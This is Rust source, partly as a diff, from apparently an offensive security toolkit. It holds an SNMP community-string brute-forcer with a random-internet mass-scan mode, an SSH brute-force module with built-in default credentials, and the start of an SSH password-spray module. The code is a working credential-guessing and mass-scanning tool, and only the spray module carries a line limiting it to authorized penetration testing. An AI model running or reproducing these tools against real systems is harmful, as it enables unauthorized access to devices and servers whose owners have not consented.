/// Returns Ok(true) if valid, Ok(false) if error status != 0, Err if can't parse
fn parse_snmp_response(response: &[u8]) -> Result<bool> {
if response.len() < 20 || response[0] != 0x30 {
return Err(anyhow!("Invalid SNMP response header"));
}
// Try to find the PDU (GetResponse-PDU = 0xa2)
// The structure is: SEQUENCE (version, community, PDU)
// We need to skip version and community to get to the PDU
let mut pos = 1;
// Skip length of outer SEQUENCE
if pos >= response.len() {
return Err(anyhow!("Response too short"));
}
let (_len, len_bytes) = parse_ber_length(&response[pos..])?;
pos += len_bytes;
// Skip version (INTEGER)
if pos >= response.len() || response[pos] != 0x02 {
return Err(anyhow!("Invalid version field"));
}
pos += 1;
let (vlen, vlen_bytes) = parse_ber_length(&response[pos..])?;
pos += vlen_bytes + vlen;
// Skip community (OCTET STRING)
if pos >= response.len() || response[pos] != 0x04 {
return Err(anyhow!("Invalid community field"));
}
pos += 1;
let (clen, clen_bytes) = parse_ber_length(&response[pos..])?;
pos += clen_bytes + clen;
// Now we should be at the PDU
// GetResponse-PDU = 0xa2, GetRequest-PDU = 0xa0
if pos >= response.len() {
return Err(anyhow!("Response too short for PDU"));
}
let pdu_tag = response[pos];
if pdu_tag != 0xa2 && pdu_tag != 0xa0 {
// Not a GetResponse or GetRequest, might be an error
return Ok(false);
}
pos += 1;
let (_pdu_len, pdu_len_bytes) = parse_ber_length(&response[pos..])?;
pos += pdu_len_bytes;
// PDU structure: request-id, error-status, error-index, variable-bindings
// Skip request-id (INTEGER)
if pos >= response.len() || response[pos] != 0x02 {
return Err(anyhow!("Invalid request-id field"));
}
pos += 1;
let (rid_len, rid_len_bytes) = parse_ber_length(&response[pos..])?;
pos += rid_len_bytes + rid_len;
// Read error-status (INTEGER)
if pos >= response.len() || response[pos] != 0x02 {
return Err(anyhow!("Invalid error-status field"));
}
pos += 1;
let (es_len, es_len_bytes) = parse_ber_length(&response[pos..])?;
if es_len == 0 || pos + es_len_bytes + es_len > response.len() {
return Err(anyhow!("Invalid error-status length"));
}
// Read the error status value
let error_status = if es_len == 1 {
response[pos + es_len_bytes] as u32
} else {
// Multi-byte integer (shouldn't happen for error status, but handle it)
let mut val = 0u32;
for i in 0..es_len {
val = (val << 8) | (response[pos + es_len_bytes + i] as u32);
}
val
};
// Error status 0 = noError, anything else is an error
Ok(error_status == 0)
}
/// Parses BER length field
/// Returns (length_value, number_of_bytes_consumed)
fn parse_ber_length(data: &[u8]) -> Result<(usize, usize)> {
if data.is_empty() {
return Err(anyhow!("Empty length field"));
}
let first_byte = data[0];
if (first_byte & 0x80) == 0 {
// Short form: single byte
Ok((first_byte as usize, 1))
} else {
// Long form: first byte indicates number of length bytes
let num_bytes = (first_byte & 0x7F) as usize;
if num_bytes == 0 {
return Err(anyhow!("Indefinite length not supported"));
}
if num_bytes > 4 {
return Err(anyhow!("Length field too large"));
}
if data.len() < 1 + num_bytes {
return Err(anyhow!("Not enough bytes for length field"));
}
let mut length = 0usize;
for i in 0..num_bytes {
length = (length << 8) | (data[1 + i] as usize);
}
Ok((length, 1 + num_bytes))
}
}
/// Builds a simple SNMP GET request packet manually
/// This is a simplified implementation that creates a basic SNMPv1/v2c GET request
fn build_snmp_get_request(community: &str, version: u8) -> Vec<u8> {
// Build components first, then assemble with proper length encoding
// OID for sysDescr: 1.3.6.1.2.1.1.1.0
let oid_encoded = encode_oid_value(&[1, 3, 6, 1, 2, 1, 1, 1, 0]);
let oid_tlv = build_tlv(0x06, &oid_encoded); // 0x06 = OBJECT IDENTIFIER
// NULL value
let null_tlv = vec![0x05, 0x00]; // NULL type, length 0
// VarBind: SEQUENCE of (OID, NULL)
let mut var_bind = Vec::new();
var_bind.extend_from_slice(&oid_tlv);
var_bind.extend_from_slice(&null_tlv);
let var_bind_tlv = build_tlv(0x30, &var_bind); // 0x30 = SEQUENCE
// VarBindList: SEQUENCE of VarBind
let mut var_bind_list_content = Vec::new();
var_bind_list_content.extend_from_slice(&var_bind_tlv);
let var_bind_list_tlv = build_tlv(0x30, &var_bind_list_content); // 0x30 = SEQUENCE
// Request ID
let request_id_tlv = encode_integer_tlv(1u32);
// Error status (0 = noError)
let error_status_tlv = encode_integer_tlv(0u32);
// Error index (0 = noError)
let error_index_tlv = encode_integer_tlv(0u32);
// PDU: GetRequest-PDU
let mut pdu_content = Vec::new();
pdu_content.extend_from_slice(&request_id_tlv);
pdu_content.extend_from_slice(&error_status_tlv);
pdu_content.extend_from_slice(&error_index_tlv);
pdu_content.extend_from_slice(&var_bind_list_tlv);
let pdu_tlv = build_tlv(0xa0, &pdu_content); // 0xa0 = GetRequest-PDU
// Version
let version_tlv = encode_integer_tlv(version as u32);
// Community string
let community_bytes = community.as_bytes();
let community_tlv = build_tlv(0x04, community_bytes); // 0x04 = OCTET STRING
// SNMP Message: SEQUENCE of (version, community, PDU)
let mut message_content = Vec::new();
message_content.extend_from_slice(&version_tlv);
message_content.extend_from_slice(&community_tlv);
message_content.extend_from_slice(&pdu_tlv);
let message = build_tlv(0x30, &message_content); // 0x30 = SEQUENCE
message
}
/// Builds a TLV (Type-Length-Value) structure
fn build_tlv(tag: u8, value: &[u8]) -> Vec<u8> {
let mut result = Vec::new();
result.push(tag);
let length = value.len();
if length < 128 {
// Short form: single byte length
result.push(length as u8);
} else {
// Long form: first byte is 0x80 | num_bytes, followed by length bytes (big-endian)
// Calculate how many bytes we need for the length
let mut len = length;
let mut num_bytes = 0;
let mut len_bytes = Vec::new();
while len > 0 {
len_bytes.push((len & 0xFF) as u8);
len >>= 8;
num_bytes += 1;
}
// Reverse to get big-endian representation
len_bytes.reverse();
// First byte: 0x80 | number of length bytes
result.push(0x80 | (num_bytes as u8));
result.extend_from_slice(&len_bytes);
}
result.extend_from_slice(value);
result
}
/// Encodes an integer as a TLV (signed integer, but we use it for unsigned values)
fn encode_integer_tlv(value: u32) -> Vec<u8> {
let mut bytes = Vec::new();
if value == 0 {
bytes.push(0);
} else {
let mut val = value;
// Encode as big-endian, using minimum number of bytes
// For values that would have high bit set, we need an extra zero byte
// to ensure it's interpreted as positive
while val > 0 {
bytes.push((val & 0xFF) as u8);
val >>= 8;
}
bytes.reverse();
// If high bit is set, prepend 0x00 to make it positive
if bytes[0] & 0x80 != 0 {
bytes.insert(0, 0x00);
}
}
build_tlv(0x02, &bytes) // 0x02 = INTEGER
}
/// Encodes OID value (without the TLV wrapper)
fn encode_oid_value(oid: &[u32]) -> Vec<u8> {
let mut encoded = Vec::new();
if oid.len() >= 2 {
// First two sub-identifiers are encoded as: first * 40 + second
encoded.push((oid[0] * 40 + oid[1]) as u8);
for &sub_id in &oid[2..] {
encode_sub_id(sub_id, &mut encoded);
}
}
encoded
}
/// Encodes a sub-identifier using base-128 encoding
fn encode_sub_id(mut value: u32, output: &mut Vec<u8>) {
let mut bytes = Vec::new();
if value == 0 {
bytes.push(0);
} else {
while value > 0 {
bytes.push((value & 0x7F) as u8);
value >>= 7;
}
bytes.reverse();
// Set high bit on all but last byte
for i in 0..bytes.len() - 1 {
bytes[i] |= 0x80;
}
}
output.extend_from_slice(&bytes);
}
/// Run mass scan logic (Hose style)
async fn run_mass_scan(target: &str) -> Result<()> {
println!("{}", "[*] Preparing Mass Scan configuration...".blue());
// Get API config
let config = crate::config::get_module_config();
let api_mode = config.is_api_mode();
let port = config.port.unwrap_or_else(|| {
if api_mode { 161 } else { prompt_int_range("SNMP Port", 161, 1, 65535).unwrap_or(161) as u16 }
});
let communities_file = config.username_wordlist.clone().ok_or_else(|| {
anyhow!("username_wordlist (community strings) required")
}).or_else(|_| {
if api_mode { Err(anyhow!("username_wordlist required for API mode")) }
else { prompt_existing_file("Community string wordlist") }
})?;
// In API mode, default to SNMPv2c
let snmp_version = if api_mode { 1 } else {
loop {
let input = prompt_default("SNMP Version (1 or 2c)", "2c").unwrap_or_else(|_| "2c".to_string());
match input.trim().to_lowercase().as_str() {
"1" => break 0,
"2c" | "2" => break 1,
_ => println!("Invalid version. Enter '1' or '2c'."),
}
}
};
let communities = load_lines(&communities_file)?;
if communities.is_empty() {
return Err(anyhow!("Community wordlist cannot be empty"));
}
let concurrency = config.concurrency.unwrap_or_else(|| {
if api_mode { 500 } else { prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000).unwrap_or(500) as usize }
});
let verbose = config.verbose.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
});
let timeout_secs = if api_mode { 3 } else { prompt_int_range("Timeout (seconds)", 3, 1, 300).unwrap_or(3) as u64 };
let output_file = config.output_file.clone().unwrap_or_else(|| {
if api_mode { "snmp_mass_results.txt".to_string() }
else { prompt_default("Output result file", "snmp_mass_results.txt").unwrap_or_else(|_| "snmp_mass_results.txt".to_string()) }
});
// In API mode, always exclude private ranges
let use_exclusions = if api_mode { true } else { prompt_yes_no("Exclude reserved/private ranges?", true).unwrap_or(true) };
// Parse exclusions
let exclusions = if use_exclusions {
println!("{}", format!("[+] Loaded {} exclusion ranges", EXCLUDED_RANGES.len()).cyan());
Arc::new(parse_exclusions(EXCLUDED_RANGES))
} else {
Arc::new(Vec::new())
};
// Shared State
let semaphore = Arc::new(Semaphore::new(concurrency));
let stats_checked = Arc::new(AtomicUsize::new(0));
let stats_found = Arc::new(AtomicUsize::new(0));
let creds_pkg = Arc::new((communities, snmp_version, timeout_secs));
// Stats Reporter
let s_checked = stats_checked.clone();
let s_found = stats_found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(5)).await;
println!(
"[*] Status: {} IPs scanned, {} SNMP devices found",
s_checked.load(Ordering::Relaxed),
s_found.load(Ordering::Relaxed).to_string().green().bold()
);
}
});
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
if run_random {
println!("{}", "[*] Starting Random Internet Scan...".green());
loop {
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
let exc = exclusions.clone();
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
if !is_ip_checked(&ip, STATE_FILE).await {
mark_ip_checked(&ip, STATE_FILE).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
} else {
// File mode
let content = match tokio::fs::read_to_string(target).await {
Ok(c) => c,
Err(e) => {
println!("{}", format!("[!] Failed to read target file: {}", e).red());
return Ok(());
}
};
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
for ip_str in lines {
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
let ip_addr = match ip_str.parse::<IpAddr>() {
Ok(ip) => Some(ip),
Err(_) => None
};
tokio::spawn(async move {
if let Some(ip) = ip_addr {
if !is_ip_checked(&ip, STATE_FILE).await {
mark_ip_checked(&ip, STATE_FILE).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
// Wait for finish
for _ in 0..concurrency {
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
}
}
Ok(())
}
async fn mass_scan_host(
ip: IpAddr,
port: u16,
creds: Arc<(Vec<String>, u8, u64)>,
stats_found: Arc<AtomicUsize>,
output_file: String,
_verbose: bool,
) {
let addr = format!("{}:{}", ip, port);
let (communities, version, timeout_secs) = &*creds;
let timeout = Duration::from_secs(*timeout_secs);
for community in communities {
match try_snmp_community(&addr, community, *version, timeout).await {
Ok(true) => {
let result_str = format!("{} -> community: '{}'", addr, community);
println!("\\r{}", format!("[+] FOUND: {}", result_str).green().bold());
if let Ok(mut file) = OpenOptions::new()
.create(true)
.append(true)
.open(&output_file)
.await
{
let _ = file.write_all(format!("{}\\n", result_str).as_bytes()).await;
}
stats_found.fetch_add(1, Ordering::Relaxed);
return; // Stop on first valid community for this host
}
Ok(false) => {
// Auth failure
}
Err(_) => {
// Connection error
return;
}
}
}
}
+390 -221
View File
@@ -1,94 +1,246 @@
use anyhow::{anyhow, Result};
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use ssh2::Session;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
net::{TcpStream, ToSocketAddrs},
path::{Path, PathBuf},
net::TcpStream,
sync::atomic::{AtomicBool, Ordering},
sync::Arc,
time::Duration,
io::Write,
};
use std::sync::atomic::{AtomicBool, Ordering};
use regex::Regex;
use tokio::{sync::Mutex, task::spawn_blocking, time::{sleep, Duration}};
use tokio::{
sync::{Mutex, Semaphore},
task::spawn_blocking,
time::{sleep, timeout},
};
use futures::stream::{FuturesUnordered, StreamExt};
use crate::utils::{
normalize_target, prompt_default, prompt_yes_no,
prompt_existing_file, load_lines, get_filename_in_current_dir, prompt_port
};
use crate::modules::creds::utils::BruteforceStats;
// Constants
const DEFAULT_SSH_PORT: u16 = 22;
const PROGRESS_INTERVAL_SECS: u64 = 2;
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
("root", "root"),
("admin", "admin"),
("user", "user"),
("guest", "guest"),
("root", "123456"),
("admin", "123456"),
("root", "password"),
("admin", "password"),
("root", ""),
("admin", ""),
("ubuntu", "ubuntu"),
("test", "test"),
("oracle", "oracle"),
];
pub async fn run(target: &str) -> Result<()> {
println!("=== SSH Brute Force Module ===");
println!("{}", "=== SSH Brute Force Module ===".bold());
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("SSH Port", "22")?;
match input.parse() {
Ok(p) => break p,
Err(_) => println!("Invalid port. Try again."),
}
// Check for API-provided config
let config = crate::config::get_module_config();
let api_mode = config.is_api_mode();
let port: u16 = if let Some(p) = config.port {
p
} else {
prompt_port("SSH Port", DEFAULT_SSH_PORT)?
};
let usernames_file = prompt_existing_file("Username wordlist")?;
let passwords_file = prompt_existing_file("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 => break n,
_ => println!("Invalid number. Try again."),
// In API mode, skip default credentials question and use wordlists directly
let use_defaults = if api_mode { false } else { prompt_yes_no("Try default credentials first?", true)? };
let usernames_file = if let Some(ref f) = config.username_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Username wordlist not found: {}", f));
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "ssh_brute_results.txt")?)
Some(f.clone())
} else if api_mode {
None
} else if prompt_yes_no("Use username wordlist?", true)? {
Some(prompt_existing_file("Username wordlist")?)
} else {
None
};
let passwords_file = if let Some(ref f) = config.password_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Password wordlist not found: {}", f));
}
Some(f.clone())
} else if api_mode {
None
} else if prompt_yes_no("Use password wordlist?", true)? {
Some(prompt_existing_file("Password wordlist")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
let connect_addr = normalize_target(target, port)?;
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
return Err(anyhow!("At least one wordlist or default credentials must be enabled"));
}
let concurrency: usize = config.concurrency.unwrap_or_else(|| {
if api_mode { 10 } else {
loop {
let input = prompt_default("Max concurrent tasks", "10").unwrap_or_else(|_| "10".to_string());
match input.parse() {
Ok(n) if n > 0 && n <= 256 => return n,
_ => println!("{}", "Invalid number. Must be between 1 and 256.".yellow()),
}
}
}
});
let connection_timeout: u64 = if api_mode {
10
} else {
loop {
let input = prompt_default("Connection timeout (seconds)", "5").unwrap_or_else(|_| "5".to_string());
match input.parse::<u64>() {
Ok(n) if n >= 1 && n <= 60 => break n,
_ => println!("{}", "Invalid timeout. Must be between 1 and 60 seconds.".yellow()),
}
}
};
let retry_on_error = if api_mode { true } else { prompt_yes_no("Retry on connection errors?", true)? };
let max_retries: usize = if retry_on_error {
if api_mode { 2 } else {
loop {
let input = prompt_default("Max retries per attempt", "2").unwrap_or_else(|_| "2".to_string());
match input.parse::<usize>() {
Ok(n) if n > 0 && n <= 10 => break n,
_ => println!("{}", "Invalid retries. Must be between 1 and 10.".yellow()),
}
}
}
} else {
0
};
let stop_on_success = config.stop_on_success.unwrap_or_else(|| {
if api_mode { true } else { prompt_yes_no("Stop on first success?", true).unwrap_or(true) }
});
let save_results = config.save_results.unwrap_or_else(|| {
if api_mode { true } else { prompt_yes_no("Save results to file?", true).unwrap_or(true) }
});
let save_path = if save_results {
Some(config.output_file.clone().unwrap_or_else(|| {
if api_mode { "ssh_brute_results.txt".to_string() } else { prompt_default("Output file", "ssh_brute_results.txt").unwrap_or_else(|_| "ssh_brute_results.txt".to_string()) }
}))
} else {
None
};
let verbose = config.verbose.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
});
let combo_mode = config.combo_mode.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Combination mode? (try every pass with every user)", false).unwrap_or(false) }
});
let connect_addr = normalize_target(&format!("{}:{}", target, port)).unwrap_or_else(|_| format!("{}:{}", target, port));
println!("\n{}", format!("[*] Starting brute-force on {}", connect_addr).cyan());
// Load wordlists
let mut usernames = Vec::new();
if let Some(ref file) = usernames_file {
usernames = load_lines(file)?;
if usernames.is_empty() {
println!("{}", "[!] Username wordlist is empty.".yellow());
} else {
println!("{}", format!("[*] Loaded {} usernames", usernames.len()).green());
}
}
let mut passwords = Vec::new();
if let Some(ref file) = passwords_file {
passwords = load_lines(file)?;
if passwords.is_empty() {
println!("{}", "[!] Password wordlist is empty.".yellow());
} else {
println!("{}", format!("[*] Loaded {} passwords", passwords.len()).green());
}
}
// Add default credentials if requested
if use_defaults {
for (user, pass) in DEFAULT_CREDENTIALS {
if !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
}
if !passwords.contains(&pass.to_string()) {
passwords.push(pass.to_string());
}
}
println!("{}", format!("[*] Added {} default credentials", DEFAULT_CREDENTIALS.len()).green());
}
if usernames.is_empty() {
return Err(anyhow!("No usernames available"));
}
if passwords.is_empty() {
return Err(anyhow!("No passwords available"));
}
// Calculate total attempts
let total_attempts = if combo_mode {
usernames.len() * passwords.len()
} else {
passwords.len()
};
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
println!();
let found = Arc::new(Mutex::new(Vec::new()));
let unknown = Arc::new(Mutex::new(Vec::<(String, String, String, String)>::new()));
let stop = Arc::new(AtomicBool::new(false));
let stats = Arc::new(BruteforceStats::new());
let semaphore = Arc::new(Semaphore::new(concurrency));
let timeout_duration = Duration::from_secs(connection_timeout);
println!("\n[*] Starting brute-force on {}", connect_addr);
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop.clone();
let progress_handle = tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
let users = load_lines(&usernames_file)?;
if users.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
let passwords = load_lines(&passwords_file)?;
if passwords.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
let users = Arc::new(users);
let mut tasks: FuturesUnordered<_> = FuturesUnordered::new();
let mut tasks = FuturesUnordered::new();
let mut user_cycle_idx = 0usize;
for pass in passwords {
for pass in passwords.iter() {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
}
let selected_users: Vec<String> = if combo_mode {
users.iter().cloned().collect()
usernames.iter().cloned().collect()
} else {
if users.is_empty() {
if usernames.is_empty() {
Vec::new()
} else {
let user = users[user_cycle_idx % users.len()].clone();
let user = usernames[user_cycle_idx % usernames.len()].clone();
user_cycle_idx += 1;
vec![user]
}
};
if selected_users.is_empty() {
continue;
}
for user in selected_users {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
@@ -98,214 +250,231 @@ pub async fn run(target: &str) -> Result<()> {
let user_clone = user.clone();
let pass_clone = pass.clone();
let found_clone = Arc::clone(&found);
let unknown_clone = Arc::clone(&unknown);
let stop_clone = Arc::clone(&stop);
let stats_clone = Arc::clone(&stats);
let semaphore_clone = semaphore.clone();
let timeout_clone = timeout_duration;
let stop_flag = stop_on_success;
let verbose_flag = verbose;
let retry_flag = retry_on_error;
let max_retries_clone = max_retries;
tasks.push(tokio::spawn(async move {
if stop_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
match try_ssh_login(&addr_clone, &user_clone, &pass_clone).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
found_clone
.lock()
.await
.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
if stop_flag {
stop_clone.store(true, Ordering::Relaxed);
// Acquire semaphore permit inside the spawned task
let _permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
let mut retries = 0;
loop {
match try_ssh_login(&addr_clone, &user_clone, &pass_clone, timeout_clone).await {
Ok(true) => {
println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone).green());
let mut found_guard = found_clone.lock().await;
// Check if already found to avoid duplicates
let entry = (addr_clone.clone(), user_clone.clone(), pass_clone.clone());
if !found_guard.contains(&entry) {
found_guard.push(entry);
}
stats_clone.record_attempt(true, false);
if stop_flag {
stop_clone.store(true, Ordering::Relaxed);
}
break;
}
Ok(false) => {
stats_clone.record_attempt(false, false);
if verbose_flag {
println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone).dimmed());
}
break;
}
Err(e) => {
stats_clone.record_attempt(false, true);
let msg = e.to_string();
if retry_flag && retries < max_retries_clone {
retries += 1;
stats_clone.record_retry();
if verbose_flag {
println!(
"\r{}",
format!(
"[!] {} -> {}:{} (retry {}/{}) - {}",
addr_clone,
user_clone,
pass_clone,
retries,
max_retries_clone,
msg
)
.yellow()
);
}
sleep(Duration::from_millis(500)).await;
continue;
} else {
{
let mut unk = unknown_clone.lock().await;
unk.push((
addr_clone.clone(),
user_clone.clone(),
pass_clone.clone(),
msg.clone(),
));
}
if verbose_flag {
println!(
"\r{}",
format!(
"[?] {} -> {}:{} error/unknown: {}",
addr_clone, user_clone, pass_clone, msg
)
.yellow()
);
}
break;
}
}
}
Ok(false) => {
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
}
Err(e) => {
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
}
}
sleep(Duration::from_millis(10)).await;
}));
}
}
if tasks.len() >= concurrency {
if let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
// Wait for all tasks with FuturesUnordered
while let Some(res) = tasks.next().await {
if let Err(e) = res {
if verbose {
println!("\r{}", format!("[!] Task error: {}", e).red());
}
}
}
while let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
stop.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
stats.print_final().await;
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found.");
println!("\n{}", "[-] No credentials found.".yellow());
} else {
println!("\n[+] Valid credentials:");
println!("\n{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
for (host, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host, user, pass);
}
if let Some(path_str) = save_path {
let filename = get_filename_in_current_dir(&path_str);
// Use std::fs::File for simple writing
use std::fs::File;
let mut file = File::create(&filename)?;
for (host, user, pass) in creds.iter() {
writeln!(file, "{} -> {}:{}", host, user, pass)?;
}
println!("[+] Results saved to '{}'", filename.display());
file.flush()?;
println!("{}", format!("[+] Results saved to '{}'", filename.display()).green());
}
}
drop(creds);
// Unknown / errored attempts
let unknown_guard = unknown.lock().await;
if !unknown_guard.is_empty() {
println!(
"{}",
format!(
"[?] Collected {} unknown/errored SSH responses.",
unknown_guard.len()
)
.yellow()
.bold()
);
if prompt_yes_no("Save unknown responses to file?", true)? {
let default_name = "ssh_unknown_responses.txt";
let fname = prompt_default(
&format!(
"What should the unknown results be saved as? (default: {})",
default_name
),
default_name,
)?;
let filename = get_filename_in_current_dir(&fname);
use std::fs::File;
match File::create(&filename) {
Ok(mut file) => {
writeln!(
file,
"# SSH Bruteforce Unknown/Errored Responses (host,user,pass,error)"
)?;
for (host, user, pass, msg) in unknown_guard.iter() {
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
}
file.flush()?;
println!(
"{}",
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
);
}
Err(e) => {
println!(
"{}",
format!(
"[!] Could not create unknown response file '{}': {}",
filename.display(),
e
)
.red()
);
}
}
}
}
Ok(())
}
async fn try_ssh_login(normalized_addr: &str, user: &str, pass: &str) -> Result<bool> {
async fn try_ssh_login(
normalized_addr: &str,
user: &str,
pass: &str,
timeout_duration: Duration,
) -> Result<bool> {
let user_owned = user.to_string();
let pass_owned = pass.to_string();
let addr_owned = normalized_addr.to_string();
let result = spawn_blocking(move || {
match TcpStream::connect(&addr_owned) {
Ok(tcp) => {
let mut sess = Session::new()?;
sess.set_tcp_stream(tcp);
sess.handshake()?;
match sess.userauth_password(&user_owned, &pass_owned) {
Ok(_) => Ok(sess.authenticated()),
Err(_) => Ok(false),
}
}
Err(e) => Err(anyhow!("Connection error to {}: {}", addr_owned, e)),
}
})
.await??;
let handle = spawn_blocking(move || {
let tcp = TcpStream::connect(&addr_owned)
.map_err(|e| anyhow!("Connection error: {}", e))?;
let mut sess = Session::new()
.map_err(|e| anyhow!("Failed to create SSH session: {}", e))?;
sess.set_tcp_stream(tcp);
sess.handshake()
.map_err(|e| anyhow!("SSH handshake failed: {}", e))?;
sess.userauth_password(&user_owned, &pass_owned)
.map_err(|e| anyhow!("Authentication failed: {}", e))?;
Ok(sess.authenticated())
});
Ok(result)
}
fn normalize_target(host: &str, default_port: u16) -> Result<String> {
let re = Regex::new(r"^\[*(?P<addr>[^\]]+?)\]*(?::(?P<port>\d{1,5}))?$").unwrap();
let trimmed = host.trim();
let caps = re
.captures(trimmed)
.ok_or_else(|| anyhow!("Invalid target format: {}", host))?;
let addr = caps.name("addr").unwrap().as_str();
let port = if let Some(m) = caps.name("port") {
m.as_str()
.parse::<u16>()
.map_err(|_| anyhow!("Invalid port value in target '{}'", host))?
} else {
default_port
};
let formatted = if addr.contains(':') && !addr.contains('.') {
format!("[{}]:{}", addr, port)
} else {
format!("{}:{}", addr, port)
};
formatted
.to_socket_addrs()
.map_err(|e| anyhow!("Could not resolve '{}': {}", formatted, e))?
.next()
.ok_or_else(|| anyhow!("Could not resolve '{}'", formatted))?;
Ok(formatted)
}
fn prompt_existing_file(msg: &str) -> Result<String> {
loop {
let candidate = prompt_required(msg)?;
if Path::new(&candidate).is_file() {
return Ok(candidate);
} else {
println!(
"{}",
format!("File '{}' does not exist or is not a regular file.", candidate).yellow()
);
}
}
}
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("{}", "This field is required.".yellow());
}
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default.to_string()
} else {
trimmed.to_string()
})
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default_char = if default_yes { "y" } else { "n" };
loop {
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
}
}
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path.as_ref())
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.filter(|l| !l.trim().is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
let path_candidate = Path::new(input_path_str)
.file_name()
.map(|os_str| os_str.to_string_lossy())
.filter(|s_cow| !s_cow.is_empty() && s_cow != "." && s_cow != "..")
.map(|s_cow| s_cow.into_owned())
.unwrap_or_else(|| "ssh_brute_results.txt".to_string());
PathBuf::from(format!("./{}", path_candidate))
let join_result = timeout(timeout_duration, handle)
.await
.map_err(|_| anyhow!("Connection timeout"))?;
join_result.map_err(|e| anyhow!("Join error: {}", e))?
}
+490
View File
@@ -0,0 +1,490 @@
//! SSH Password Spray Module
//!
//! Based on SSHPWN framework - sprays single password across multiple targets/users.
//! Useful for avoiding account lockouts while testing common passwords.
//!
//! For authorized penetration testing only.
use anyhow::{anyhow, Result};
use colored::*;
use ssh2::Session;
use std::{
collections::HashSet,
